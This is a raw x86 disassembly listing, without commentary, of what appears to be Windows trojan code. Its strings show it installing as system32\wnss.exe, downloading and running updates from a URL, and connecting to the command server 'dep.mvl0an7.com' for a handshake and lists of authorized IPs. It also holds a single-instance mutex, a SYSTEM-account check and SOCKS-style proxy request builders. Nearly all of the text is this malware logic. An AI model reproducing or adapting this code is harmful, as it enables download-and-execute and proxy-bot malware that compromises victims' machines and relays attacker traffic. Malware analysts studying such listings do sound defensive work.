		test	ebx, ebx
		jz	short loc_445A8C
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		jmp	short loc_445A93
; ---------------------------------------------------------------------------


loc_445A8C:				; CODE XREF: sub_445A44+31j
		mov	[ebp+var_844], 0


loc_445A93:				; CODE XREF: sub_445A44+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_445AAC
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		jmp	short loc_445ABF
; ---------------------------------------------------------------------------


loc_445AAC:				; CODE XREF: sub_445A44+53j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_445ABF:				; CODE XREF: sub_445A44+66j
		test	ebx, ebx
		jz	short loc_445AD6
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_445AD6:				; CODE XREF: sub_445A44+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_445B00
		push	offset asc_40EDC9 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_445B00:				; CODE XREF: sub_445A44+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_445B53
		push	[ebp+var_850]
		call	dword_411CF8
		test	esi, esi
		jz	short loc_445B44
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_445B50
; ---------------------------------------------------------------------------


loc_445B44:				; CODE XREF: sub_445A44+F4j
		push	[ebp+var_854]
		call	dword_411CF8


loc_445B50:				; CODE XREF: sub_445A44+FEj
		xor	eax, eax
		inc	eax


loc_445B53:				; CODE XREF: sub_445A44+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445B59	proc near		; CODE XREF: DMN1:00445D20p

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF0
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_445B92
		xor	eax, eax
		jmp	loc_445CB4
; ---------------------------------------------------------------------------


loc_445B92:				; CODE XREF: sub_445B59+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF4
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_445BC8
		push	edi
		call	dword_411EF8
		xor	eax, eax
		jmp	loc_445CB4
; ---------------------------------------------------------------------------


loc_445BC8:				; CODE XREF: sub_445B59+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_4496E1
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_445C01
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EF8
		push	edi
		call	dword_411EF8
		xor	eax, eax
		jmp	loc_445CB4
; ---------------------------------------------------------------------------


loc_445C01:				; CODE XREF: sub_445B59+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		call	dword_411D14
		jmp	short loc_445C39
; ---------------------------------------------------------------------------


loc_445C1E:				; CODE XREF: sub_445B59+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_445C54
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_449B41
		add	esp, 10h


loc_445C39:				; CODE XREF: sub_445B59+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411EFC
		test	eax, eax
		jnz	short loc_445C1E


loc_445C54:				; CODE XREF: sub_445B59+C9j
		call	dword_411CE8
		mov	[ebp+var_408], eax
		push	esi
		call	sub_449941
		pop	ecx
		push	ebx
		call	dword_411EF8
		push	edi
		call	dword_411EF8
		cmp	[ebp+var_408], 0
		jz	short loc_445C9E
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D18
		xor	eax, eax
		jmp	short loc_445CB4
; ---------------------------------------------------------------------------


loc_445C9E:				; CODE XREF: sub_445B59+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_445CB4:				; CODE XREF: sub_445B59+34j
					; sub_445B59+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445B59	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	byte ptr [ebp-2400h], 0
		mov	byte ptr [ebp-1000h], 0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D1C
		lea	eax, [ebp-2400h]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D20
		lea	eax, [ebp-2400h]
		push	eax
		push	esi
		call	sub_445B59
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_445E42
		lea	eax, [ebp-2400h]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D1C
		lea	eax, [ebp-1000h]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D20
		mov	edi, dword_4128A4
		push	0
		lea	eax, [ebp-1000h]
		push	eax
		push	edi
		call	dword_411D24
		test	eax, eax
		jz	loc_445E42
		push	80h
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D28
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		lea	eax, [ebp-2400h]
		push	eax
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset asc_40ECEC ; "\"	\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_445A44
		add	esp, 10h
		test	eax, eax
		jz	short loc_445E42


loc_445E35:				; CODE XREF: DMN1:00445E40j
		push	1770h
		call	dword_411D00
		jmp	short loc_445E35
; ---------------------------------------------------------------------------


loc_445E42:				; CODE XREF: DMN1:00445D29j
					; DMN1:00445D87j ...
		push	0
		push	offset dword_411014
		call	dword_411D04
		lea	eax, [ebp-2400h]
		push	eax
		call	sub_449A31
		pop	ecx
		test	eax, eax
		jz	short loc_445E6D
		lea	eax, [ebp-2400h]
		push	eax
		call	dword_411D18


loc_445E6D:				; CODE XREF: DMN1:00445E5Ej
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_449A31
		pop	ecx
		test	eax, eax
		jz	short loc_445E8B
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D18


loc_445E8B:				; CODE XREF: DMN1:00445E7Cj
		push	ebx
		call	sub_443397
		pop	ecx
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_445E9F	proc near		; CODE XREF: DMN1:loc_446135p
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_445E9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_445EA4	proc near		; CODE XREF: DMN1:0044609Bp
					; DMN1:004460ADp
		xor	eax, eax
		retn
sub_445EA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445EA7	proc near		; CODE XREF: DMN1:00446226p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_41285C
		call	dword_411CCC
		cmp	[ebp+arg_8], 0
		jnz	short loc_445ECF
		push	dword_412934
		call	sub_4442BC
		pop	ecx


loc_445ECF:				; CODE XREF: sub_445EA7+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_445F17
; ---------------------------------------------------------------------------


loc_445EE0:				; CODE XREF: sub_445EA7+72j
		push	0
		push	dword ptr [esi]
		push	dword_412934
		call	sub_44436A
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_449101
		push	eax
		mov	eax, dword_412934
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_4
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_445F17:				; CODE XREF: sub_445EA7+37j
		test	ebx, ebx
		jg	short loc_445EE0
		push	offset dword_41285C
		call	dword_411CD0
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445EA7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_445F49
; ---------------------------------------------------------------------------


loc_445F3D:				; CODE XREF: DMN1:00445F53j
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_445F49:				; CODE XREF: DMN1:00445F3Bj
		cmp	edi, 4000h
		jge	short loc_445F55
		test	ebx, ebx
		jnz	short loc_445F3D


loc_445F55:				; CODE XREF: DMN1:00445F4Fj
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_41285C
		call	dword_411CCC
		push	dword_412934
		call	sub_4442BC
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_443ADF
		pop	ecx
		mov	[ebp-14h], eax
		test	eax, eax
		jz	short loc_445FA8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_445FA8
		test	eax, eax
		jnz	short loc_445FAD


loc_445FA8:				; CODE XREF: DMN1:00445F9Bj
					; DMN1:00445FA2j
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_445FAD:				; CODE XREF: DMN1:00445FA6j
		mov	word ptr [ebp-16h], 24EAh
		xor	esi, esi
		and	dword ptr [ebp-0Ch], 0
		push	0
		push	offset dword_411024
		call	dword_411D04
		cmp	dword_411004, 0
		jnz	short loc_445FEB
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4446FD
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_445FEB:				; CODE XREF: DMN1:00445FCDj
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_44476A
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, [ebp-14h]
		mov	[ebp-1Ch], eax
		push	eax
		call	sub_449101
		mov	[ebp-20h], eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-20h]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_4
		add	esp, 0Ch
		and	dword ptr [ebp-10h], 0
		call	sub_44367A
		mov	[ebp-10h], eax
		test	eax, eax
		jz	loc_4462DA
		push	dword ptr [ebp-10h]
		call	sub_443CE4
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_4
		pop	ecx
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-10h]
		call	sub_443888
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_446089
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_446089:				; CODE XREF: DMN1:00446077j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_4
		pop	ecx
		mov	dword ptr [ebp-24h], 1000h
		call	sub_445EA4
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_445EA4
		test	eax, eax
		jz	short loc_4460BA
		or	dword ptr [ebp-24h], 1


loc_4460BA:				; CODE XREF: DMN1:004460B4j
		push	dword ptr [ebp-24h]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_444097
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4460E2
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_4460E2:				; CODE XREF: DMN1:004460D0j
		push	offset word_40EC12
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_444272
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_44610B
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_44610B:				; CODE XREF: DMN1:004460F9j
		test	byte ptr [ebp-24h], 1
		jz	loc_4461C2
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	10004h
		call	sub_443369
		pop	ecx
		mov	[ebp-30h], eax
		mov	[ebp-2Ch], eax
		and	dword ptr [ebp-28h], 0


loc_446135:				; CODE XREF: DMN1:00446158j
		call	sub_445E9F
		mov	edi, eax
		test	edi, edi
		jz	short loc_44615A
		mov	edx, [ebp-2Ch]
		mov	[edx], edi
		mov	eax, [ebp-2Ch]
		add	eax, 4
		mov	[ebp-2Ch], eax
		inc	dword ptr [ebp-28h]
		cmp	dword ptr [ebp-28h], 3FFFh
		jl	short loc_446135


loc_44615A:				; CODE XREF: DMN1:0044613Ej
		mov	eax, [ebp-28h]
		add	eax, eax
		add	eax, eax
		push	eax
		push	dword ptr [ebp-30h]
		push	100h
		push	esi
		call	sub_443EB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_446190
		push	dword ptr [ebp-30h]
		call	sub_443397
		pop	ecx
		push	offset sub_40EBB5
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_446190:				; CODE XREF: DMN1:00446175j
		push	dword ptr [ebp-30h]
		call	sub_443397
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_444272
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_4461C2
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_4461C2:				; CODE XREF: DMN1:0044610Fj
					; DMN1:004461B0j ...
		push	0FFFFh
		push	0
		lea	eax, [ebp-2]
		push	eax
		push	esi
		call	sub_44407C
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_4462DA
		movzx	eax, word ptr [ebp-2]
		mov	[ebp-28h], eax
		cmp	eax, 200h
		jz	short loc_446201
		cmp	eax, 201h
		jz	short loc_446242
		cmp	eax, 202h
		jz	short loc_446211
		jmp	loc_4462D5
; ---------------------------------------------------------------------------


loc_446201:				; CODE XREF: DMN1:004461ECj
		push	offset word_40EB76
		call	nullsub_4
		pop	ecx
		jmp	loc_4462DA
; ---------------------------------------------------------------------------


loc_446211:				; CODE XREF: DMN1:004461FAj
		push	offset byte_40EB69
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-0Ch]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_445EA7
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4462D5
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4462D5
; ---------------------------------------------------------------------------


loc_446242:				; CODE XREF: DMN1:004461F3j
		test	ebx, ebx
		jnz	short loc_44624F
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_44624F:				; CODE XREF: DMN1:00446244j
		push	dword ptr [esi+470h]
		push	offset sub_40EB56
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_4462D5
		push	dword ptr [esi+470h]
		call	sub_449A31
		pop	ecx
		test	eax, eax
		jz	short loc_4462D5
		push	0
		push	offset dword_411014
		call	dword_411D2C
		test	eax, eax
		jnz	short loc_4462D5
		push	1
		push	offset dword_411014
		call	dword_411D04
		push	10000h
		call	sub_443369
		pop	ecx
		mov	[ebp-2Ch], eax
		push	dword ptr [esi+470h]
		push	dword ptr [ebp-2Ch]
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	offset sub_40EB3C
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-2Ch]
		push	0
		push	offset sub_40399A
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8


loc_4462D5:				; CODE XREF: DMN1:004461FCj
					; DMN1:00446230j ...
		jmp	loc_4461C2
; ---------------------------------------------------------------------------


loc_4462DA:				; CODE XREF: DMN1:loc_445FA8j
					; DMN1:00446046j ...
		test	esi, esi
		jz	short loc_4462E5
		push	esi
		call	sub_443D5C
		pop	ecx


loc_4462E5:				; CODE XREF: DMN1:004462DCj
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_4462F4
		push	dword ptr [ebp-10h]
		call	sub_4437E3
		pop	ecx


loc_4462F4:				; CODE XREF: DMN1:004462E9j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_4
		pop	ecx
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_44630B:				; CODE XREF: DMN1:0044632Cj
		call	sub_445979
		test	eax, eax
		jz	short loc_446321
		call	sub_44744C
		push	0
		call	dword_411D30


loc_446321:				; CODE XREF: DMN1:00446312j
		push	3E8h
		call	dword_411D00
		jmp	short loc_44630B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0


loc_44633A:				; CODE XREF: DMN1:004463D3j
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_449CF1
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D34
		mov	eax, esi
		push	eax
		call	dword_411CF8
		cmp	dword_411030, 0
		jz	short loc_4463D8
		lea	eax, [ebp-4]
		push	eax
		call	sub_443322
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_4463BB
; ---------------------------------------------------------------------------


loc_446395:				; CODE XREF: DMN1:004463BDj
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D00
		sub	ebx, 2
		call	sub_445979
		test	eax, eax
		jz	short loc_4463BB
		xor	ebx, ebx


loc_4463BB:				; CODE XREF: DMN1:00446393j
					; DMN1:004463B7j
		test	ebx, ebx
		jg	short loc_446395
		push	offset asc_40EADA ; "\r			     \r"
		call	nullsub_4
		pop	ecx
		cmp	dword_411030, 0
		jz	short loc_4463D8
		jmp	loc_44633A
; ---------------------------------------------------------------------------


loc_4463D8:				; CODE XREF: DMN1:00446368j
					; DMN1:004463D1j
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4463E4	proc near		; CODE XREF: sub_448AD1+3DFp
					; sub_448AD1+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E40
		test	eax, eax
		jz	short loc_44642B
		cmp	[ebp+var_44], 6
		jnb	short loc_44640D
		xor	eax, eax
		jmp	short loc_44642B
; ---------------------------------------------------------------------------


loc_44640D:				; CODE XREF: sub_4463E4+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D38
		test	eax, eax
		jz	short loc_446428
		xor	eax, eax
		jmp	short loc_44642B
; ---------------------------------------------------------------------------


loc_446428:				; CODE XREF: sub_4463E4+3Ej
		xor	eax, eax
		inc	eax


loc_44642B:				; CODE XREF: sub_4463E4+1Dj
					; sub_4463E4+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4463E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_44642F	proc near		; CODE XREF: sub_447EA9+1p
					; DMN1:loc_448039p ...
		push	ebx
		cmp	dword_411028, 0
		jz	short loc_44643D
		xor	eax, eax
		jmp	short loc_446481
; ---------------------------------------------------------------------------


loc_44643D:				; CODE XREF: sub_44642F+8j
		xor	ebx, ebx
		push	offset a_win32__wnss_u ; "_win32__wnss_um__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_411028, eax
		cmp	dword_411028, 0
		jz	short loc_44647F
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_44647F
		xor	ebx, ebx
		inc	ebx
		push	dword_411028
		call	dword_411CF8
		and	dword_411028, 0


loc_44647F:				; CODE XREF: sub_44642F+2Bj
					; sub_44642F+38j
		mov	eax, ebx


loc_446481:				; CODE XREF: sub_44642F+Cj
		pop	ebx
		retn
sub_44642F	endp


; =============== S U B	R O U T	I N E =======================================



sub_446483	proc near		; CODE XREF: sub_447EA9+3Dp
					; DMN1:0044801Dp ...
		cmp	dword_411028, 0
		jz	short locret_44649F
		push	dword_411028
		call	dword_411CF8
		and	dword_411028, 0

locret_44649F:				; CODE XREF: sub_446483+7j
		retn
sub_446483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464A0	proc near		; CODE XREF: sub_44651C+2Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	0
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		add	ebx, 2
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		push	8
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_443AA8
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4464A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464DA	proc near		; CODE XREF: sub_44651C+47p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		lea	ebx, [ebp+var_20]
		mov	byte ptr [ebx],	5
		inc	ebx
		movzx	eax, [ebp+arg_4]
		mov	[ebx], al
		inc	ebx
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		add	ebx, 4
		mov	ax, [ebp+arg_C]
		mov	[ebx], ax
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_443AA8
		add	esp, 0Ch
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4464DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44651C	proc near		; CODE XREF: DMN1:004467E6p
					; DMN1:004469A2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	bl, [ebp+arg_8]
		cmp	bl, 9
		jbe	short loc_44652C
		xor	bl, bl
		inc	bl


loc_44652C:				; CODE XREF: sub_44651C+Aj
		cmp	[ebp+arg_0], 4
		jnz	short loc_446554
		movzx	eax, bl
		mov	bl, byte_411034[eax]
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_4464A0
		add	esp, 10h
		jmp	short loc_44656B
; ---------------------------------------------------------------------------


loc_446554:				; CODE XREF: sub_44651C+14j
		movzx	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		movzx	eax, bl
		push	eax
		push	[ebp+arg_4]
		call	sub_4464DA
		add	esp, 10h


loc_44656B:				; CODE XREF: sub_44651C+36j
		pop	ebx
		pop	ebp
		retn
sub_44651C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44656E	proc near		; CODE XREF: DMN1:00446770p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+arg_0]


loc_446576:				; CODE XREF: sub_44656E+23j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	ebx
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_44658D
		xor	eax, eax
		jmp	short loc_446596
; ---------------------------------------------------------------------------


loc_44658D:				; CODE XREF: sub_44656E+19j
		cmp	[ebp+var_1], 0
		jnz	short loc_446576
		xor	eax, eax
		inc	eax


loc_446596:				; CODE XREF: sub_44656E+1Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44656E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44659B	proc near		; CODE XREF: DMN1:004467A7p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_4465AD:				; CODE XREF: sub_44659B+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_4439FD
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4465C6
		xor	eax, eax
		jmp	short loc_4465E7
; ---------------------------------------------------------------------------


loc_4465C6:				; CODE XREF: sub_44659B+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_4465DE
		xor	eax, eax
		jmp	short loc_4465E7
